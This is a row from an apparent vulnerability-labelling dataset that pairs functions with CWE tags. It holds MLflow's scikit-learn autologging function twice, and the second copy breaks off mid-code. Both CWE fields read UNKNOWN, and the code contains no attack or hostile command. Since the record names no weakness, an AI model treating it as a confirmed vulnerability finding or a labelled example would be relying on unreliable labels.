functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/sklearn/__init__.py,0,"def _autolog(
    flavor_name=FLAVOR_NAME,
    log_input_examples=False,
    log_model_signatures=True,
    log_models=True,
    disable=False,
    exclusive=False,
    disable_for_unsupported_versions=False,
    silent=False,
    max_tuning_runs=5,
    log_post_training_metrics=True,
    serialization_format=SERIALIZATION_FORMAT_CLOUDPICKLE,
):  # pylint: disable=unused-argument
    """"""
    Internal autologging function for scikit-learn models.
    :param flavor_name: A string value. Enable a ``mlflow.sklearn`` autologging routine
                        for a flavor. By default it enables autologging for original
                        scikit-learn models, as ``mlflow.sklearn.autolog()`` does. If
                        the argument is `xgboost`, autologging for XGBoost scikit-learn
                        models is enabled.
    """"""
    import pandas as pd
    import sklearn
    import sklearn.metrics
    import sklearn.model_selection

    from mlflow.models import infer_signature
    from mlflow.sklearn.utils import (
        _MIN_SKLEARN_VERSION,
        _TRAINING_PREFIX,
        _is_supported_version,
        _get_X_y_and_sample_weight,
        _gen_xgboost_sklearn_estimators_to_patch,
        _gen_lightgbm_sklearn_estimators_to_patch,
        _log_estimator_content,
        _all_estimators,
        _get_estimator_info_tags,
        _get_meta_estimators_for_autologging,
        _is_parameter_search_estimator,
        _log_parameter_search_results_as_artifact,
        _create_child_runs_for_parameter_search,
    )
    from mlflow.tracking.context import registry as context_registry

    if max_tuning_runs is not None and max_tuning_runs < 0:
        raise MlflowException(
            message=(
                ""`max_tuning_runs` must be non-negative, instead got {}."".format(max_tuning_runs)
            ),
            error_code=INVALID_PARAMETER_VALUE,
        )

    if not _is_supported_version():
        warnings.warn(
            ""Autologging utilities may not work properly on scikit-learn < {} "".format(
                _MIN_SKLEARN_VERSION
            )
            + ""(current version: {})"".format(sklearn.__version__),
            stacklevel=2,
        )

    def fit_mlflow_xgboost_and_lightgbm(original, self, *args, **kwargs):
        """"""
        Autologging function for XGBoost and LightGBM scikit-learn models
        """"""
        # parameter, metric, and non-model artifact logging are done in
        # `train()` in `mlflow.xgboost.autolog()` and `mlflow.lightgbm.autolog()`
        fit_output = original(self, *args, **kwargs)
        # log models after training
        X = _get_X_y_and_sample_weight(self.fit, args, kwargs)[0]
        if log_models:
            input_example, signature = resolve_input_example_and_signature(
                lambda: X[:INPUT_EXAMPLE_SAMPLE_ROWS],
                lambda input_example: infer_signature(input_example, self.predict(input_example)),
                log_input_examples,
                log_model_signatures,
                _logger,
            )
            log_model_func = (
                mlflow.xgboost.log_model
                if flavor_name == mlflow.xgboost.FLAVOR_NAME
                else mlflow.lightgbm.log_model
            )
            registered_model_name = get_autologging_config(
                flavor_name, ""registered_model_name"", None
            )
            log_model_func(
                self,
                artifact_path=""model"",
                signature=signature,
                input_example=input_example,
                registered_model_name=registered_model_name,
            )
        return fit_output

    def fit_mlflow(original, self, *args, **kwargs):
        """"""
        Autologging function that performs model training by executing the training method
        referred to be `func_name` on the instance of `clazz` referred to by `self` & records
        MLflow parameters, metrics, tags, and artifacts to a corresponding MLflow Run.
        """"""
        autologging_client = MlflowAutologgingQueueingClient()
        _log_pretraining_metadata(autologging_client, self, *args, **kwargs)
        params_logging_future = autologging_client.flush(synchronous=False)
        fit_output = original(self, *args, **kwargs)
        _log_posttraining_metadata(autologging_client, self, *args, **kwargs)
        autologging_client.flush(synchronous=True)
        params_logging_future.await_completion()
        return fit_output

    def _log_pretraining_metadata(
        autologging_client, estimator, *args, **kwargs
    ):  # pylint: disable=unused-argument
        """"""
        Records metadata (e.g., params and tags) for a scikit-learn estimator prior to training.
        This is intended to be invoked within a patched scikit-learn training routine
        (e.g., `fit()`, `fit_transform()`, ...) and assumes the existence of an active
        MLflow run that can be referenced via the fluent Tracking API.

        :param autologging_client: An instance of `MlflowAutologgingQueueingClient` used for
                                   efficiently logging run data to MLflow Tracking.
        :param estimator: The scikit-learn estimator for which to log metadata.
        :param args: The arguments passed to the scikit-learn training routine (e.g.,
                     `fit()`, `fit_transform()`, ...).
        :param kwargs: The keyword arguments passed to the scikit-learn training routine.
        """"""
        # Deep parameter logging includes parameters from children of a given
        # estimator. For some meta estimators (e.g., pipelines), recording
        # these parameters is desirable. For parameter search estimators,
        # however, child estimators act as seeds for the parameter search
        # process; accordingly, we avoid logging initial, untuned parameters
        # for these seed estimators.
        should_log_params_deeply = not _is_parameter_search_estimator(estimator)
        run_id = mlflow.active_run().info.run_id
        autologging_client.log_params(
            run_id=mlflow.active_run().info.run_id,
            params=estimator.get_params(deep=should_log_params_deeply),
        )
        autologging_client.set_tags(
            run_id=run_id,
            tags=_get_estimator_info_tags(estimator),
        )

    def _log_posttraining_metadata(autologging_client, estimator, *args, **kwargs):
        """"""
        Records metadata for a scikit-learn estimator after training has completed.
        This is intended to be invoked within a patched scikit-learn training routine
        (e.g., `fit()`, `fit_transform()`, ...) and assumes the existence of an active
        MLflow run that can be referenced via the fluent Tracking API.

        :param autologging_client: An instance of `MlflowAutologgingQueueingClient` used for
                                   efficiently logging run data to MLflow Tracking.
        :param estimator: The scikit-learn estimator for which to log metadata.
        :param args: The arguments passed to the scikit-learn training routine (e.g.,
                     `fit()`, `fit_transform()`, ...).
        :param kwargs: The keyword arguments passed to the scikit-learn training routine.
        """"""

        def infer_model_signature(input_example):
            if not hasattr(estimator, ""predict""):
                raise Exception(
                    ""the trained model does not specify a `predict` function, ""
                    + ""which is required in order to infer the signature""
                )

            return infer_signature(input_example, estimator.predict(input_example))

        (X, y_true, sample_weight) = _get_X_y_and_sample_weight(estimator.fit, args, kwargs)

        # log common metrics and artifacts for estimators (classifier, regressor)
        logged_metrics = _log_estimator_content(
            autologging_client=autologging_client,
            estimator=estimator,
            prefix=_TRAINING_PREFIX,
            run_id=mlflow.active_run().info.run_id,
            X=X,
            y_true=y_true,
            sample_weight=sample_weight,
        )
        if y_true is None and not logged_metrics:
            _logger.warning(
                ""Training metrics will not be recorded because training labels were not specified.""
                "" To automatically record training metrics, provide training labels as inputs to""
                "" the model training function.""
            )

        def get_input_example():
            # Fetch an input example using the first several rows of the array-like
            # training data supplied to the training routine (e.g., `fit()`)
            input_example = X[:INPUT_EXAMPLE_SAMPLE_ROWS]
            return input_example

        def _log_model_with_except_handling(*args, **kwargs):
            try:
                return log_model(*args, **kwargs)
            except _SklearnCustomModelPicklingError as e:
                _logger.warning(str(e))

        if log_models:
            # Will only resolve `input_example` and `signature` if `log_models` is `True`.
            input_example, signature = resolve_input_example_and_signature(
                get_input_example,
                infer_model_signature,
                log_input_examples,
                log_model_signatures,
                _logger,
            )
            registered_model_name = get_autologging_config(
                FLAVOR_NAME, ""registered_model_name"", None
            )
            _log_model_with_except_handling(
                estimator,
                artifact_path=""model"",
                signature=signature,
                input_example=input_example,
                serialization_format=serialization_format,
                registered_model_name=registered_model_name,
            )

        if _is_parameter_search_estimator(estimator):
            if hasattr(estimator, ""best_estimator_"") and log_models:
                _log_model_with_except_handling(
                    estimator.best_estimator_,
                    artifact_path=""best_estimator"",
                    signature=signature,
                    input_example=input_example,
                    serialization_format=serialization_format,
                )

            if hasattr(estimator, ""best_score_""):
                autologging_client.log_metrics(
                    run_id=mlflow.active_run().info.run_id,
                    metrics={""best_cv_score"": estimator.best_score_},
                )

            if hasattr(estimator, ""best_params_""):
                best_params = {
                    ""best_{param_name}"".format(param_name=param_name): param_value
                    for param_name, param_value in estimator.best_params_.items()
                }
                autologging_client.log_params(
                    run_id=mlflow.active_run().info.run_id,
                    params=best_params,
                )

            if hasattr(estimator, ""cv_results_""):
                try:
                    # Fetch environment-specific tags (e.g., user and source) to ensure that lineage
                    # information is consistent with the parent run
                    child_tags = context_registry.resolve_tags()
                    child_tags.update({MLFLOW_AUTOLOGGING: flavor_name})
                    _create_child_runs_for_parameter_search(
                        autologging_client=autologging_client,
                        cv_estimator=estimator,
                        parent_run=mlflow.active_run(),
                        max_tuning_runs=max_tuning_runs,
                        child_tags=child_tags,
                    )
                except Exception as e:

                    msg = (
                        ""Encountered exception during creation of child runs for parameter search.""
                        "" Child runs may be missing. Exception: {}"".format(str(e))
                    )
                    _logger.warning(msg)

                try:
                    cv_results_df = pd.DataFrame.from_dict(estimator.cv_results_)
                    _log_parameter_search_results_as_artifact(
                        cv_results_df, mlflow.active_run().info.run_id
                    )
                except Exception as e:

                    msg = (
                        ""Failed to log parameter search results as an artifact.""
                        "" Exception: {}"".format(str(e))
                    )
                    _logger.warning(msg)

    def patched_fit(fit_impl, original, self, *args, **kwargs):
        """"""
        Autologging patch function to be applied to a sklearn model class that defines a `fit`
        method and inherits from `BaseEstimator` (thereby defining the `get_params()` method)

        :param clazz: The scikit-learn model class to which this patch function is being applied for
                      autologging (e.g., `sklearn.linear_model.LogisticRegression`)
        :param func_name: The function name on the specified `clazz` that this patch is overriding
                          for autologging (e.g., specify ""fit"" in order to indicate that
                          `sklearn.linear_model.LogisticRegression.fit()` is being patched)
        """"""
        should_log_post_training_metrics = (
            log_post_training_metrics
            and _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics()
        )

        with _SklearnTrainingSession(clazz=self.__class__, allow_children=False) as t:
            if t.should_log():
                # In `fit_mlflow` call, it will also call metric API for computing training metrics
                # so we need temporarily disable the post_training_metrics patching.
                with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                    result = fit_impl(original, self, *args, **kwargs)
                if should_log_post_training_metrics:
                    _AUTOLOGGING_METRICS_MANAGER.register_model(
                        self, mlflow.active_run().info.run_id
                    )
                return result
            else:
                return original(self, *args, **kwargs)

    def patched_predict(original, self, *args, **kwargs):
        """"""
        In `patched_predict`, register the prediction result instance with the run id and
         eval dataset name. e.g.
        ```
        prediction_result = model_1.predict(eval_X)
        ```
        then we need register the following relationship into the `_AUTOLOGGING_METRICS_MANAGER`:
        id(prediction_result) --> (eval_dataset_name, run_id)

        Note: we cannot set additional attributes ""eval_dataset_name"" and ""run_id"" into
        the prediction_result object, because certain dataset type like numpy does not support
        additional attribute assignment.
        """"""
        run_id = _AUTOLOGGING_METRICS_MANAGER.get_run_id_for_model(self)
        if _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics() and run_id:
            # Avoid nested patch when nested inference calls happens.
            with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                predict_result = original(self, *args, **kwargs)
            eval_dataset = get_instance_method_first_arg_value(original, args, kwargs)
            eval_dataset_name = _AUTOLOGGING_METRICS_MANAGER.register_prediction_input_dataset(
                self, eval_dataset
            )
            _AUTOLOGGING_METRICS_MANAGER.register_prediction_result(
                run_id, eval_dataset_name, predict_result
            )
            return predict_result
        else:
            return original(self, *args, **kwargs)

    def patched_metric_api(original, *args, **kwargs):
        if _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics():
            # one metric api may call another metric api,
            # to avoid this, call disable_log_post_training_metrics to avoid nested patch
            with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                metric = original(*args, **kwargs)

            if _AUTOLOGGING_METRICS_MANAGER.is_metric_value_loggable(metric):
                metric_name = original.__name__
                call_command = _AUTOLOGGING_METRICS_MANAGER.gen_metric_call_command(
                    None, original, *args, **kwargs
                )

                (
                    run_id,
                    dataset_name,
                ) = _AUTOLOGGING_METRICS_MANAGER.get_run_id_and_dataset_name_for_metric_api_call(
                    args, kwargs
                )
                if run_id and dataset_name:
                    metric_key = _AUTOLOGGING_METRICS_MANAGER.register_metric_api_call(
                        run_id, metric_name, dataset_name, call_command
                    )
                    _AUTOLOGGING_METRICS_MANAGER.log_post_training_metric(
                        run_id, metric_key, metric
                    )

            return metric
        else:
            return original(*args, **kwargs)

    # we need patch model.score method because:
    #  some model.score() implementation won't call metric APIs in `sklearn.metrics`
    #  e.g.
    #  https://github.com/scikit-learn/scikit-learn/blob/82df48934eba1df9a1ed3be98aaace8eada59e6e/sklearn/covariance/_empirical_covariance.py#L220
    def patched_model_score(original, self, *args, **kwargs):
        run_id = _AUTOLOGGING_METRICS_MANAGER.get_run_id_for_model(self)
        if _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics() and run_id:
            # `model.score` may call metric APIs internally, in order to prevent nested metric call
            # being logged, temporarily disable post_training_metrics patching.
            with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                score_value = original(self, *args, **kwargs)

            if _AUTOLOGGING_METRICS_MANAGER.is_metric_value_loggable(score_value):
                metric_name = f""{self.__class__.__name__}_score""
                call_command = _AUTOLOGGING_METRICS_MANAGER.gen_metric_call_command(
                    self, original, *args, **kwargs
                )

                eval_dataset = get_instance_method_first_arg_value(original, args, kwargs)
                eval_dataset_name = _AUTOLOGGING_METRICS_MANAGER.register_prediction_input_dataset(
                    self, eval_dataset
                )
                metric_key = _AUTOLOGGING_METRICS_MANAGER.register_metric_api_call(
                    run_id, metric_name, eval_dataset_name, call_command
                )
                _AUTOLOGGING_METRICS_MANAGER.log_post_training_metric(
                    run_id, metric_key, score_value
                )

            return score_value
        else:
            return original(self, *args, **kwargs)

    def _apply_sklearn_descriptor_unbound_method_call_fix():
        import sklearn

        if Version(sklearn.__version__) <= Version(""0.24.2""):
            import sklearn.utils.metaestimators

            # pylint: disable=redefined-builtin,unused-argument
            def patched_IffHasAttrDescriptor__get__(self, obj, type=None):
                """"""
                For sklearn version <= 0.24.2, `_IffHasAttrDescriptor.__get__` method does not
                support unbound method call.
                See https://github.com/scikit-learn/scikit-learn/issues/20614
                This patched function is for hot patch.
                """"""

                # raise an AttributeError if the attribute is not present on the object
                if obj is not None:
                    # delegate only on instances, not the classes.
                    # this is to allow access to the docstrings.
                    for delegate_name in self.delegate_names:
                        try:
                            delegate = sklearn.utils.metaestimators.attrgetter(delegate_name)(obj)
                        except AttributeError:
                            continue
                        else:
                            getattr(delegate, self.attribute_name)
                            break
                    else:
                        sklearn.utils.metaestimators.attrgetter(self.delegate_names[-1])(obj)

                    def out(*args, **kwargs):
                        return self.fn(obj, *args, **kwargs)

                else:
                    # This makes it possible to use the decorated method as an unbound method,
                    # for instance when monkeypatching.
                    def out(*args, **kwargs):
                        return self.fn(*args, **kwargs)

                # update the docstring of the returned function
                functools.update_wrapper(out, self.fn)
                return out

            update_wrapper_extended(
                patched_IffHasAttrDescriptor__get__,
                sklearn.utils.metaestimators._IffHasAttrDescriptor.__get__,
            )

            sklearn.utils.metaestimators._IffHasAttrDescriptor.__get__ = (
                patched_IffHasAttrDescriptor__get__
            )

    _apply_sklearn_descriptor_unbound_method_call_fix()

    if flavor_name == mlflow.xgboost.FLAVOR_NAME:
        estimators_to_patch = _gen_xgboost_sklearn_estimators_to_patch()
        patched_fit_impl = fit_mlflow_xgboost_and_lightgbm
    elif flavor_name == mlflow.lightgbm.FLAVOR_NAME:
        estimators_to_patch = _gen_lightgbm_sklearn_estimators_to_patch()
        patched_fit_impl = fit_mlflow_xgboost_and_lightgbm
    else:
        estimators_to_patch = _gen_estimators_to_patch()
        patched_fit_impl = fit_mlflow

    for class_def in estimators_to_patch:
        # Patch fitting methods
        for func_name in [""fit"", ""fit_transform"", ""fit_predict""]:
            _patch_estimator_method_if_available(
                flavor_name,
                class_def,
                func_name,
                functools.partial(patched_fit, patched_fit_impl),
                manage_run=True,
            )

        # Patch inference methods
        for func_name in [""predict"", ""predict_proba"", ""transform"", ""predict_log_proba""]:
            _patch_estimator_method_if_available(
                flavor_name,
                class_def,
                func_name,
                patched_predict,
                manage_run=False,
            )

        # Patch scoring methods
        _patch_estimator_method_if_available(
            flavor_name,
            class_def,
            ""score"",
            patched_model_score,
            manage_run=False,
        )

    if log_post_training_metrics:
        for metric_name in _get_metric_name_list():
            safe_patch(
                flavor_name, sklearn.metrics, metric_name, patched_metric_api, manage_run=False
            )

        for scorer in sklearn.metrics.SCORERS.values():
            safe_patch(flavor_name, scorer, ""_score_func"", patched_metric_api, manage_run=False)

    def patched_fn_with_autolog_disabled(original, *args, **kwargs):
        with disable_autologging():
            return original(*args, **kwargs)

    for disable_autolog_func_name in _apis_autologging_disabled:
        safe_patch(
            flavor_name,
            sklearn.model_selection,
            disable_autolog_func_name,
            patched_fn_with_autolog_disabled,
            manage_run=False,
        )",,mlflow/mlflow,ebfd6af2092b0d8f35045e564919c4243143fb1d,"def _autolog(
    flavor_name=FLAVOR_NAME,
    log_input_examples=False,
    log_model_signatures=True,
    log_models=True,
    disable=False,
    exclusive=False,
    disable_for_unsupported_versions=False,
    silent=False,
    max_tuning_runs=5,
    log_post_training_metrics=True,
    serialization_format=SERIALIZATION_FORMAT_CLOUDPICKLE,
):  # pylint: disable=unused-argument
    """"""
    Internal autologging function for scikit-learn models.
    :param flavor_name: A string value. Enable a ``mlflow.sklearn`` autologging routine
                        for a flavor. By default it enables autologging for original
                        scikit-learn models, as ``mlflow.sklearn.autolog()`` does. If
                        the argument is `xgboost`, autologging for XGBoost scikit-learn
                        models is enabled.
    """"""
    import pandas as pd
    import sklearn
    import sklearn.metrics
    import sklearn.model_selection

    from mlflow.models import infer_signature
    from mlflow.sklearn.utils import (
        _MIN_SKLEARN_VERSION,
        _TRAINING_PREFIX,
        _is_supported_version,
        _get_X_y_and_sample_weight,
        _gen_xgboost_sklearn_estimators_to_patch,
        _gen_lightgbm_sklearn_estimators_to_patch,
        _log_estimator_content,
        _all_estimators,
        _get_estimator_info_tags,
        _get_meta_estimators_for_autologging,
        _is_parameter_search_estimator,
        _log_parameter_search_results_as_artifact,
        _create_child_runs_for_parameter_search,
    )
    from mlflow.tracking.context import registry as context_registry

    if max_tuning_runs is not None and max_tuning_runs < 0:
        raise MlflowException(
            message=(
                ""`max_tuning_runs` must be non-negative, instead got {}."".format(max_tuning_runs)
            ),
            error_code=INVALID_PARAMETER_VALUE,
        )

    if not _is_supported_version():
        warnings.warn(
            ""Autologging utilities may not work properly on scikit-learn < {} "".format(
                _MIN_SKLEARN_VERSION
            )
            + ""(current version: {})"".format(sklearn.__version__),
            stacklevel=2,
        )

    def fit_mlflow_xgboost_and_lightgbm(original, self, *args, **kwargs):
        """"""
        Autologging function for XGBoost and LightGBM scikit-learn models
        """"""
        # parameter, metric, and non-model artifact logging are done in
        # `train()` in `mlflow.xgboost.autolog()` and `mlflow.lightgbm.autolog()`
        fit_output = original(self, *args, **kwargs)
        # log models after training
        X = _get_X_y_and_sample_weight(self.fit, args, kwargs)[0]
        if log_models:
            input_example, signature = resolve_input_example_and_signature(
                lambda: X[:INPUT_EXAMPLE_SAMPLE_ROWS],
                lambda input_example: infer_signature(input_example, self.predict(input_example)),
                log_input_examples,
                log_model_signatures,
                _logger,
            )
            log_model_func = (
                mlflow.xgboost.log_model
                if flavor_name == mlflow.xgboost.FLAVOR_NAME
                else mlflow.lightgbm.log_model
            )
            registered_model_name = get_autologging_config(
                flavor_name, ""registered_model_name"", None
            )
            log_model_func(
                self,
                artifact_path=""model"",
                signature=signature,
                input_example=input_example,
                registered_model_name=registered_model_name,
            )
        return fit_output

    def fit_mlflow(original, self, *args, **kwargs):
        """"""
        Autologging function that performs model training by executing the training method
        referred to be `func_name` on the instance of `clazz` referred to by `self` & records
        MLflow parameters, metrics, tags, and artifacts to a corresponding MLflow Run.
        """"""
        autologging_client = MlflowAutologgingQueueingClient()
        _log_pretraining_metadata(autologging_client, self, *args, **kwargs)
        params_logging_future = autologging_client.flush(synchronous=False)
        fit_output = original(self, *args, **kwargs)
        _log_posttraining_metadata(autologging_client, self, *args, **kwargs)
        autologging_client.flush(synchronous=True)
        params_logging_future.await_completion()
        return fit_output

    def _log_pretraining_metadata(
        autologging_client, estimator, *args, **kwargs
    ):  # pylint: disable=unused-argument
        """"""
        Records metadata (e.g., params and tags) for a scikit-learn estimator prior to training.
        This is intended to be invoked within a patched scikit-learn training routine
        (e.g., `fit()`, `fit_transform()`, ...) and assumes the existence of an active
        MLflow run that can be referenced via the fluent Tracking API.

        :param autologging_client: An instance of `MlflowAutologgingQueueingClient` used for
                                   efficiently logging run data to MLflow Tracking.
        :param estimator: The scikit-learn estimator for which to log metadata.
        :param args: The arguments passed to the scikit-learn training routine (e.g.,
                     `fit()`, `fit_transform()`, ...).
        :param kwargs: The keyword arguments passed to the scikit-learn training routine.
        """"""
        # Deep parameter logging includes parameters from children of a given
        # estimator. For some meta estimators (e.g., pipelines), recording
        # these parameters is desirable. For parameter search estimators,
        # however, child estimators act as seeds for the parameter search
        # process; accordingly, we avoid logging initial, untuned parameters
        # for these seed estimators.
        should_log_params_deeply = not _is_parameter_search_estimator(estimator)
        run_id = mlflow.active_run().info.run_id
        autologging_client.log_params(
            run_id=mlflow.active_run().info.run_id,
            params=estimator.get_params(deep=should_log_params_deeply),
        )
        autologging_client.set_tags(
            run_id=run_id,
            tags=_get_estimator_info_tags(estimator),
        )

    def _log_posttraining_metadata(autologging_client, estimator, *args, **kwargs):
        """"""
        Records metadata for a scikit-learn estimator after training has completed.
        This is intended to be invoked within a patched scikit-learn training routine
        (e.g., `fit()`, `fit_transform()`, ...) and assumes the existence of an active
        MLflow run that can be referenced via the fluent Tracking API.

        :param autologging_client: An instance of `MlflowAutologgingQueueingClient` used for
                                   efficiently logging run data to MLflow Tracking.
        :param estimator: The scikit-learn estimator for which to log metadata.
        :param args: The arguments passed to the scikit-learn training routine (e.g.,
                     `fit()`, `fit_transform()`, ...).
        :param kwargs: The keyword arguments passed to the scikit-learn training routine.
        """"""

        def infer_model_signature(input_example):
            if not hasattr(estimator, ""predict""):
                raise Exception(
                    ""the trained model does not specify a `predict` function, ""
                    + ""which is required in order to infer the signature""
                )

            return infer_signature(input_example, estimator.predict(input_example))

        (X, y_true, sample_weight) = _get_X_y_and_sample_weight(estimator.fit, args, kwargs)

        # log common metrics and artifacts for estimators (classifier, regressor)
        logged_metrics = _log_estimator_content(
            autologging_client=autologging_client,
            estimator=estimator,
            prefix=_TRAINING_PREFIX,
            run_id=mlflow.active_run().info.run_id,
            X=X,
            y_true=y_true,
            sample_weight=sample_weight,
        )
        if y_true is None and not logged_metrics:
            _logger.warning(
                ""Training metrics will not be recorded because training labels were not specified.""
                "" To automatically record training metrics, provide training labels as inputs to""
                "" the model training function.""
            )

        def get_input_example():
            # Fetch an input example using the first several rows of the array-like
            # training data supplied to the training routine (e.g., `fit()`)
            input_example = X[:INPUT_EXAMPLE_SAMPLE_ROWS]
            return input_example

        def _log_model_with_except_handling(*args, **kwargs):
            try:
                return log_model(*args, **kwargs)
            except _SklearnCustomModelPicklingError as e:
                _logger.warning(str(e))

        if log_models:
            # Will only resolve `input_example` and `signature` if `log_models` is `True`.
            input_example, signature = resolve_input_example_and_signature(
                get_input_example,
                infer_model_signature,
                log_input_examples,
                log_model_signatures,
                _logger,
            )
            registered_model_name = get_autologging_config(
                FLAVOR_NAME, ""registered_model_name"", None
            )
            _log_model_with_except_handling(
                estimator,
                artifact_path=""model"",
                signature=signature,
                input_example=input_example,
                serialization_format=serialization_format,
                registered_model_name=registered_model_name,
            )

        if _is_parameter_search_estimator(estimator):
            if hasattr(estimator, ""best_estimator_"") and log_models:
                _log_model_with_except_handling(
                    estimator.best_estimator_,
                    artifact_path=""best_estimator"",
                    signature=signature,
                    input_example=input_example,
                    serialization_format=serialization_format,
                )

            if hasattr(estimator, ""best_score_""):
                autologging_client.log_metrics(
                    run_id=mlflow.active_run().info.run_id,
                    metrics={""best_cv_score"": estimator.best_score_},
                )

            if hasattr(estimator, ""best_params_""):
                best_params = {
                    ""best_{param_name}"".format(param_name=param_name): param_value
                    for param_name, param_value in estimator.best_params_.items()
                }
                autologging_client.log_params(
                    run_id=mlflow.active_run().info.run_id,
                    params=best_params,
                )

            if hasattr(estimator, ""cv_results_""):
                try:
                    # Fetch environment-specific tags (e.g., user and source) to ensure that lineage
                    # information is consistent with the parent run
                    child_tags = context_registry.resolve_tags()
                    child_tags.update({MLFLOW_AUTOLOGGING: flavor_name})
                    _create_child_runs_for_parameter_search(
                        autologging_client=autologging_client,
                        cv_estimator=estimator,
                        parent_run=mlflow.active_run(),
                        max_tuning_runs=max_tuning_runs,
                        child_tags=child_tags,
                    )
                except Exception as e:

                    msg = (
                        ""Encountered exception during creation of child runs for parameter search.""
                        "" Child runs may be missing. Exception: {}"".format(str(e))
                    )
                    _logger.warning(msg)

                try:
                    cv_results_df = pd.DataFrame.from_dict(estimator.cv_results_)
                    _log_parameter_search_results_as_artifact(
                        cv_results_df, mlflow.active_run().info.run_id
                    )
                except Exception as e:

                    msg = (
                        ""Failed to log parameter search results as an artifact.""
                        "" Exception: {}"".format(str(e))
                    )
                    _logger.warning(msg)

    def patched_fit(fit_impl, original, self, *args, **kwargs):
        """"""
        Autologging patch function to be applied to a sklearn model class that defines a `fit`
        method and inherits from `BaseEstimator` (thereby defining the `get_params()` method)

        :param clazz: The scikit-learn model class to which this patch function is being applied for
                      autologging (e.g., `sklearn.linear_model.LogisticRegression`)
        :param func_name: The function name on the specified `clazz` that this patch is overriding
                          for autologging (e.g., specify ""fit"" in order to indicate that
                          `sklearn.linear_model.LogisticRegression.fit()` is being patched)
        """"""
        should_log_post_training_metrics = (
            log_post_training_metrics
            and _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics()
        )

        with _SklearnTrainingSession(clazz=self.__class__, allow_children=False) as t:
            if t.should_log():
                # In `fit_mlflow` call, it will also call metric API for computing training metrics
                # so we need temporarily disable the post_training_metrics patching.
                with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                    result = fit_impl(original, self, *args, **kwargs)
                if should_log_post_training_metrics:
                    _AUTOLOGGING_METRICS_MANAGER.register_model(
                        self, mlflow.active_run().info.run_id
                    )
                return result
            else:
                return original(self, *args, **kwargs)

    def patched_predict(original, self, *args, **kwargs):
        """"""
        In `patched_predict`, register the prediction result instance with the run id and
         eval dataset name. e.g.
        ```
        prediction_result = model_1.predict(eval_X)
        ```
        then we need register the following relationship into the `_AUTOLOGGING_METRICS_MANAGER`:
        id(prediction_result) --> (eval_dataset_name, run_id)

        Note: we cannot set additional attributes ""eval_dataset_name"" and ""run_id"" into
        the prediction_result object, because certain dataset type like numpy does not support
        additional attribute assignment.
        """"""
        run_id = _AUTOLOGGING_METRICS_MANAGER.get_run_id_for_model(self)
        if _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics() and run_id:
            # Avoid nested patch when nested inference calls happens.
            with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                predict_result = original(self, *args, **kwargs)
            eval_dataset = get_instance_method_first_arg_value(original, args, kwargs)
            eval_dataset_name = _AUTOLOGGING_METRICS_MANAGER.register_prediction_input_dataset(
                self, eval_dataset
            )
            _AUTOLOGGING_METRICS_MANAGER.register_prediction_result(
                run_id, eval_dataset_name, predict_result
            )
            return predict_result
        else:
            return original(self, *args, **kwargs)

    def patched_metric_api(original, *args, **kwargs):
        if _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics():
            # one metric api may call another metric api,
            # to avoid this, call disable_log_post_training_metrics to avoid nested patch
            with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                metric = original(*args, **kwargs)

            if _AUTOLOGGING_METRICS_MANAGER.is_metric_value_loggable(metric):
                metric_name = original.__name__
                call_command = _AUTOLOGGING_METRICS_MANAGER.gen_metric_call_command(
                    None, original, *args, **kwargs
                )

                (
                    run_id,
                    dataset_name,
                ) = _AUTOLOGGING_METRICS_MANAGER.get_run_id_and_dataset_name_for_metric_api_call(
                    args, kwargs
                )
                if run_id and dataset_name:
                    metric_key = _AUTOLOGGING_METRICS_MANAGER.register_metric_api_call(
                        run_id, metric_name, dataset_name, call_command
                    )
                    _AUTOLOGGING_METRICS_MANAGER.log_post_training_metric(
                        run_id, metric_key, metric
                    )

            return metric
        else:
            return original(*args, **kwargs)

    # we need patch model.score method because:
    #  some model.score() implementation won't call metric APIs in `sklearn.metrics`
    #  e.g.
    #  https://github.com/scikit-learn/scikit-learn/blob/82df48934eba1df9a1ed3be98aaace8eada59e6e/sklearn/covariance/_empirical_covariance.py#L220
    def patched_model_score(original, self, *args, **kwargs):
        run_id = _AUTOLOGGING_METRICS_MANAGER.get_run_id_for_model(self)
        if _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics() and run_id:
            # `model.score` may call metric APIs internally, in order to prevent nested metric call
            # being logged, temporarily disable post_training_metrics patching.
            with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                score_value = original(self, *args, **kwargs)

            if _AUTOLOGGING_METRICS_MANAGER.is_metric_value_loggable(score_value):
                metric_name = f""{self.__class__.__name__}_score""
                call_command = _AUTOLOGGING_METRICS_MANAGER.gen_metric_call_command(
                    self, original, *args, **kwargs
                )

                eval_dataset = get_instance_method_first_arg_value(original, args, kwargs)
                eval_dataset_name = _AUTOLOGGING_METRICS_MANAGER.register_prediction_input_dataset(
                    self, eval_dataset
                )
                metric_key = _AUTOLOGGING_METRICS_MANAGER.register_metric_api_call(
                    run_id, metric_name, eval_dataset_name, call_command
                )
                _AUTOLOGGING_METRICS_MANAGER.log_post_training_metric(
                    run_id, metric_key, score_value
                )

            return score_value
        else:
            return original(self, *args, **kwargs)

    def _apply_sklearn_descriptor_unbound_method_call_fix():
        import sklearn

        if Version(sklearn.__version__) <= Version(""0.24.2""):
            import sklearn.utils.metaestimators

            # pylint: disable=redefined-builtin,unused-argument
            def patched_IffHasAttrDescriptor__get__(self, obj, type=None):
                """"""
                For sklearn version <= 0.24.2, `_IffHasAttrDescriptor.__get__` method does not
                support unbound method call.
                See https://github.com/scikit-learn/scikit-learn/issues/20614
                This patched function is for hot patch.
                """"""

                # raise an AttributeError if the attribute is not present on the object
                if obj is not None:
                    # delegate only on instances, not the classes.
                    # this is to allow access to the docstrings.
                    for delegate_name in self.delegate_names:
                        try:
